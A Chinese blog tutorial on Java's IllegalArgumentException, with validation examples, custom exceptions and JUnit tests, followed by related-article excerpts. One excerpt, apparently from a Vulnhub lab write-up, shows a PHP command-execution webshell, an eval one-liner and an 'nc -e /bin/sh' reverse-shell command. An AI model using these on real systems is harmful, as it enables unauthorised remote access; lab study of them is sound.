当前位置: 首页 > news >正文

【Java】解决Java报错:IllegalArgumentException

在这里插入图片描述

文章目录

      • 引言
      • 1. 错误详解
      • 2. 常见的出错场景
        • 2.1 非法的参数值
        • 2.2 空值或 `null` 参数
        • 2.3 非法的数组索引
      • 3. 解决方案
        • 3.1 参数验证
        • 3.2 使用自定义异常
        • 3.3 使用Java标准库中的 `Objects` 类
      • 4. 预防措施
        • 4.1 编写防御性代码
        • 4.2 使用注解和检查工具
        • 4.3 单元测试
      • 结语

引言

在Java编程中,IllegalArgumentException 是一种常见的运行时异常,通常发生在传递非法或不适当的参数给方法时。这类错误提示为:“IllegalArgumentException: argument is invalid”,意味着你传递给方法的参数不符合预期的格式或范围。本文将详细探讨IllegalArgumentException的成因、解决方案以及预防措施,帮助开发者理解和避免此类问题,从而提高代码的健壮性和可靠性。

1. 错误详解

IllegalArgumentException 是一种由 Java 运行时环境抛出的异常,表示程序传递给方法的参数不合法或不适合。该异常通常在方法中进行参数验证时抛出,以防止方法收到不合适的输入。

2. 常见的出错场景

2.1 非法的参数值

最常见的情况是传递给方法的参数值不符合预期的范围或格式。

public class Main {public static void main(String[] args) {setAge(-5);  // 传递非法的年龄值,将抛出IllegalArgumentException}public static void setAge(int age) {if (age < 0 || age > 150) {throw new IllegalArgumentException("年龄必须在0到150之间");}System.out.println("年龄设置为: " + age);}
}
2.2 空值或 null 参数

传递空值或 null 给不接受 null 的方法参数时,也会导致 IllegalArgumentException

public class Main {public static void main(String[] args) {printName(null);  // 传递null值,将抛出IllegalArgumentException}public static void printName(String name) {if (name == null) {throw new IllegalArgumentException("名字不能为空");}System.out.println("名字是: " + name);}
}
2.3 非法的数组索引

当传递非法的索引值给数组操作方法时,也会抛出 IllegalArgumentException

public class Main {public static void main(String[] args) {int[] numbers = {1, 2, 3};setArrayValue(numbers, -1, 10);  // 传递非法的索引值,将抛出IllegalArgumentException}public static void setArrayValue(int[] array, int index, int value) {if (index < 0 || index >= array.length) {throw new IllegalArgumentException("索引超出数组范围");}array[index] = value;}
}

3. 解决方案

解决IllegalArgumentException的关键在于确保传递给方法的参数符合方法的预期,并在必要时进行适当的参数验证。

3.1 参数验证

在方法内部进行参数验证,以确保传递的参数合法。如果参数不合法,则抛出详细的 IllegalArgumentException

public class Main {public static void main(String[] args) {try {setAge(-5);} catch (IllegalArgumentException e) {System.out.println("捕获到异常: " + e.getMessage());}}public static void setAge(int age) {if (age < 0 || age > 150) {throw new IllegalArgumentException("年龄必须在0到150之间");}System.out.println("年龄设置为: " + age);}
}
3.2 使用自定义异常

在某些情况下,使用自定义异常可以提供更有意义的错误信息和处理逻辑。

public class InvalidAgeException extends IllegalArgumentException {public InvalidAgeException(String message) {super(message);}
}public class Main {public static void main(String[] args) {try {setAge(-5);} catch (InvalidAgeException e) {System.out.println("捕获到自定义异常: " + e.getMessage());}}public static void setAge(int age) {if (age < 0 || age > 150) {throw new InvalidAgeException("年龄必须在0到150之间");}System.out.println("年龄设置为: " + age);}
}
3.3 使用Java标准库中的 Objects

Java提供了一些工具类,如 Objects 类,可以用于简化参数验证。

import java.util.Objects;public class Main {public static void main(String[] args) {try {printName(null);} catch (IllegalArgumentException e) {System.out.println("捕获到异常: " + e.getMessage());}}public static void printName(String name) {Objects.requireNonNull(name, "名字不能为空");System.out.println("名字是: " + name);}
}

4. 预防措施

4.1 编写防御性代码

在编写方法时,确保对所有输入参数进行验证,以确保它们符合预期的范围和格式。

public class StringUtils {public static void checkStringNotEmpty(String str, String message) {if (str == null || str.isEmpty()) {throw new IllegalArgumentException(message);}}
}
4.2 使用注解和检查工具

利用注解(如 @NotNull@NonNull)和静态分析工具(如 FindBugs、SonarQube),可以在编译时和代码检查时发现潜在的非法参数问题。

import org.jetbrains.annotations.NotNull;public class Main {public static void printName(@NotNull String name) {System.out.println("名字是: " + name);}
}
4.3 单元测试

编写单元测试来验证方法的参数验证逻辑,确保代码在各种边界条件下都能正确运行。

import org.junit.Test;
import static org.junit.Assert.*;public class MainTest {@Test(expected = IllegalArgumentException.class)public void testSetAgeNegative() {Main.setAge(-5);}@Test(expected = IllegalArgumentException.class)public void testPrintNameNull() {Main.printName(null);}@Testpublic void testSetAgeValid() {Main.setAge(25);  // 不应抛出异常}
}

结语

理解并有效处理IllegalArgumentException对于编写健壮的Java程序至关重要。通过本文提供的解决方案和预防措施,开发者可以有效避免和解决这类异常,提高代码质量和可靠性。希望本文能帮助你更好地理解和处理非法参数问题,从而编写出更加可靠的Java应用程序。

相关文章:

【Java】解决Java报错:IllegalArgumentException

文章目录 引言1. 错误详解2. 常见的出错场景2.1 非法的参数值2.2 空值或 null 参数2.3 非法的数组索引 3. 解决方案3.1 参数验证3.2 使用自定义异常3.3 使用Java标准库中的 Objects 类 4. 预防措施4.1 编写防御性代码4.2 使用注解和检查工具4.3 单元测试 结语 引言 在Java编程…...

完美的移动端 UI 风格让客户无可挑剔

完美的移动端 UI 风格让客户无可挑剔...

【React】在 React 组件中,怎么使用useContext

在React中,useContext 是一个Hook,它允许你无需显式地通过组件树的每一层来传递 props,就能将值深入到组件树的任何位置。要使用 useContext,你需要先创建一个 Context 对象,然后使用这个对象提供的 Provider 组件来包裹你的应用中的一部分。然后,任何在这个 Provider 下…...

【数据结构】栈的应用

目录 0 引言 1 栈在括号匹配中的应用 2 栈在表达式求值中的应用 2.1 算数表达式 2.2 中缀表达式转后缀表达式 2.3 后缀表达式求值 3 栈在递归中的应用 3.1 栈在函数调用中的作用 3.2 栈在函数调用中的工作原理 4 总结 0 引言 栈&#xff08;Stack&#xff09;是一…...

Opencv基本操作

Opencv基本操作 导入并使用opencv进行图像与视频的基本处理 opencv读取的格式是BGR import cv2 #opencv读取的格式是BGR import numpy import matplotlib.pyplot as plt %matplotlib inline图像读取 通过cv2.imread()来加载指定位置的图像信息。 img cv2.imread(./res/ca…...

2779. 数组的最大美丽值

简单翻译一下题目意思&#xff1a; 对于每个 nums[i] 都可以被替换成 [nums[i]-k, nums[i]k] 区间中的任何数&#xff0c;区间左右是闭的。在每个数字可以替换的前提下&#xff0c;返回数组中最多的重复数字的数量。 第一想法是用一个哈希表&#xff0c;Key 是可以被替换的数…...

数据库修复实例(航线修复)

修复目标 修复回音群岛 (Echo Isles) 到 赞达拉港 (Port of Zandalar) 的航线 SET TRANSPORT_GUID : 32; SET TRANSPORT_ENTRY : 272677; SET CGUID : 850000;-- Adjust transports DELETE FROM transports WHERE guid TRANSPORT_GUID; INSERT INTO transports (guid, entry…...

视频网站下载利器yt-dlp参数详解

yt-dlp 是一个强大的命令行工具&#xff0c;用来下载 YouTube 和其他网站上的视频和音频。它拥有丰富的参数&#xff0c;可以定制下载行为&#xff0c;满足各种需求。本文将详细介绍 yt-dlp 的参数使用。 一、基本参数 -f, –format FORMAT: 指定下载格式&#xff0c;可以用视…...

可解析PHP的反弹shell方法

这里拿vulnhub-DC-8靶场反弹shell&#xff0c;详情见Vulnhub-DC-8 命令执行 拿nc举例 <?php echo system($_POST[cmd]); ?>利用是hackbar&#xff0c;POST提交cmdnc -e /bin/sh 192.168.20.128 6666, 直接反弹shell到kali。 一句话木马 <?php eval($_POST[&qu…...

AMSR-MODIS 边界层水汽 L3 每日 1 度 x 1 度 V1、V2 版本数据集

AMSR-MODIS Boundary Layer Water Vapor L3 Daily 1 degree x 1 degree V1 (AMDBLWV) at GES DISC AMSR-MODIS Boundary Layer Water Vapor L3 Daily 1 degree x 1 degree V2 (AMDBLWV) at GES DISC 简介 该数据集可估算均匀云层下的海洋边界层水汽。AMSR-E 和 AMSR-2 的微波…...

Oracle备份失败处理,看这一篇就够了!

作者&#xff1a;IT邦德 中国DBA联盟(ACDU)成员&#xff0c;10余年DBA工作经验&#xff0c; Oracle、PostgreSQL ACE CSDN博客专家及B站知名UP主&#xff0c;全网粉丝10万 擅长主流Oracle、MySQL、PG、高斯及Greenplum备份恢复&#xff0c; 安装迁移&#xff0c;性能优化、故障…...

后端中缓存的作用以及基于Spring框架演示实现缓存

缓存的作用及演示 现在我们使用的程序都是通过去数据库里拿数据然后展示的 长期对数据库进行数据访问 这样数据库的压力会越来越大 数据库扛不住了 创建了一个新的区域 程序访问去缓存 缓存区数据库 缓存里放数据 有效降低数据访问的压力 我们首先进行一个演示 为了演示…...

Python:基础爬虫

Python爬虫学习&#xff08;网络爬虫&#xff08;又称为网页蜘蛛&#xff0c;网络机器人&#xff0c;在FOAF社区中间&#xff0c;更经常的称为网页追逐者&#xff09;&#xff0c;是一种按照一定的规则&#xff0c;自动地抓取万维网信息的程序或者脚本。另外一些不常使用的名字…...

机器人运动学笔记

一、建模 参考资料&#xff1a;https://zhuanlan.zhihu.com/p/137960186 1、三维模型和连杆、关节定义 2、设置z轴 SDH和MDH会不一样&#xff0c;主要的区别在于SDH中坐标系在连杆末端&#xff0c;MDH中坐标系在连杆首端。虽然这里只是给出z轴&#xff0c;但是由于后面原点位…...

webshell三巨头 综合分析(蚁剑,冰蝎,哥斯拉)

考点: 蚁剑,冰蝎,哥斯拉流量解密 存在3个shell 过滤器 http.request.full_uri contains "shell1.php" or http.response_for.uri contains "shell1.php" POST请求存在明文传输 ant 一般蚁剑执行命令 用垃圾字符在最开头填充 去掉垃圾字符直到可以正常bas…...

stm32MP135裸机编程:启动流程分析

0 参考资料 轻松使用STM32MP13x - 如MCU般在cortex A核上裸跑应用程序.pdf STM32MP135AD数据手册.pdf1 stm32MP135裸机启动流程分析 1.1 启动方式 stm32MP135支持8种启动方式&#xff1a; 注&#xff1a; UART和USB启动并不是指通过UART/USB加载程序&#xff0c;而是通过UA…...

在Pycharm使用Github Copilot

文章目录 1.GitHub Copilot 是什么2.注册GitHub Copilot3.官方使用文档4.安装 GitHub Copilot插件5.在Pycharm中使用6.相关功能键7.启用或禁用 GitHub Copilot 1.GitHub Copilot 是什么 GitHub Copilot 是一款 AI 编码助手&#xff0c;可帮助你更快、更省力地编写代码&#xff…...

Docker镜像构建:Ubuntu18.04+python3.10

1、编写 Dockerfile # 使用Ubuntu 18.04作为基础镜像 FROM ubuntu:18.04RUN apt-get update && apt-get install -y \build-essential \curl \zlib1g-dev \libssl-dev \&& rm -rf /var/lib/apt/lists/*ENV PYTHON_VERSION3.10.8RUN curl -O https://www.pytho…...

如何进行LLM大模型推理优化

解密LLM大模型推理优化本质 一、LLM推理的本质以及考量点 LLM推理聚焦Transformer架构的Decoder以生成文本。过程分两步&#xff1a;首先&#xff0c;模型初始化并加载输入文本&#xff1b;接着&#xff0c;进入解码阶段&#xff0c;模型自回归地生成文本&#xff0c;直至满足…...

QLoRA:高效的LLMs微调方法,48G内存可调65B 模型

文章&#xff1a;https://arxiv.org/pdf/2305.14314.pdf 代码&#xff1a;https://github.com/artidoro/qlora概括 QLORA是一种有效的微调方法&#xff0c;它减少了内存使用&#xff0c;足以在单个48GB GPU上微调65B参数模型&#xff0c;同时保留完整的16位微调任务性能。QLOR…...

RestClient

什么是RestClient RestClient 是 Elasticsearch 官方提供的 Java 低级 REST 客户端&#xff0c;它允许HTTP与Elasticsearch 集群通信&#xff0c;而无需处理 JSON 序列化/反序列化等底层细节。它是 Elasticsearch Java API 客户端的基础。 RestClient 主要特点 轻量级&#xff…...

第19节 Node.js Express 框架

Express 是一个为Node.js设计的web开发框架&#xff0c;它基于nodejs平台。 Express 简介 Express是一个简洁而灵活的node.js Web应用框架, 提供了一系列强大特性帮助你创建各种Web应用&#xff0c;和丰富的HTTP工具。 使用Express可以快速地搭建一个完整功能的网站。 Expre…...

Qt Widget类解析与代码注释

#include "widget.h" #include "ui_widget.h"Widget::Widget(QWidget *parent): QWidget(parent), ui(new Ui::Widget) {ui->setupUi(this); }Widget::~Widget() {delete ui; }//解释这串代码&#xff0c;写上注释 当然可以&#xff01;这段代码是 Qt …...

【大模型RAG】Docker 一键部署 Milvus 完整攻略

本文概要 Milvus 2.5 Stand-alone 版可通过 Docker 在几分钟内完成安装&#xff1b;只需暴露 19530&#xff08;gRPC&#xff09;与 9091&#xff08;HTTP/WebUI&#xff09;两个端口&#xff0c;即可让本地电脑通过 PyMilvus 或浏览器访问远程 Linux 服务器上的 Milvus。下面…...

Web 架构之 CDN 加速原理与落地实践

文章目录 一、思维导图二、正文内容&#xff08;一&#xff09;CDN 基础概念1. 定义2. 组成部分 &#xff08;二&#xff09;CDN 加速原理1. 请求路由2. 内容缓存3. 内容更新 &#xff08;三&#xff09;CDN 落地实践1. 选择 CDN 服务商2. 配置 CDN3. 集成到 Web 架构 &#xf…...

【JavaSE】多线程基础学习笔记

多线程基础 -线程相关概念 程序&#xff08;Program&#xff09; 是为完成特定任务、用某种语言编写的一组指令的集合简单的说:就是我们写的代码 进程 进程是指运行中的程序&#xff0c;比如我们使用QQ&#xff0c;就启动了一个进程&#xff0c;操作系统就会为该进程分配内存…...

STM32---外部32.768K晶振(LSE)无法起振问题

晶振是否起振主要就检查两个1、晶振与MCU是否兼容&#xff1b;2、晶振的负载电容是否匹配 目录 一、判断晶振与MCU是否兼容 二、判断负载电容是否匹配 1. 晶振负载电容&#xff08;CL&#xff09;与匹配电容&#xff08;CL1、CL2&#xff09;的关系 2. 如何选择 CL1 和 CL…...

tomcat入门

1 tomcat 是什么 apache开发的web服务器可以为java web程序提供运行环境tomcat是一款高效&#xff0c;稳定&#xff0c;易于使用的web服务器tomcathttp服务器Servlet服务器 2 tomcat 目录介绍 -bin #存放tomcat的脚本 -conf #存放tomcat的配置文件 ---catalina.policy #to…...

书籍“之“字形打印矩阵(8)0609

题目 给定一个矩阵matrix&#xff0c;按照"之"字形的方式打印这个矩阵&#xff0c;例如&#xff1a; 1 2 3 4 5 6 7 8 9 10 11 12 ”之“字形打印的结果为&#xff1a;1&#xff0c;…...

Vue 3 + WebSocket 实战:公司通知实时推送功能详解

&#x1f4e2; Vue 3 WebSocket 实战&#xff1a;公司通知实时推送功能详解 &#x1f4cc; 收藏 点赞 关注&#xff0c;项目中要用到推送功能时就不怕找不到了&#xff01; 实时通知是企业系统中常见的功能&#xff0c;比如&#xff1a;管理员发布通知后&#xff0c;所有用户…...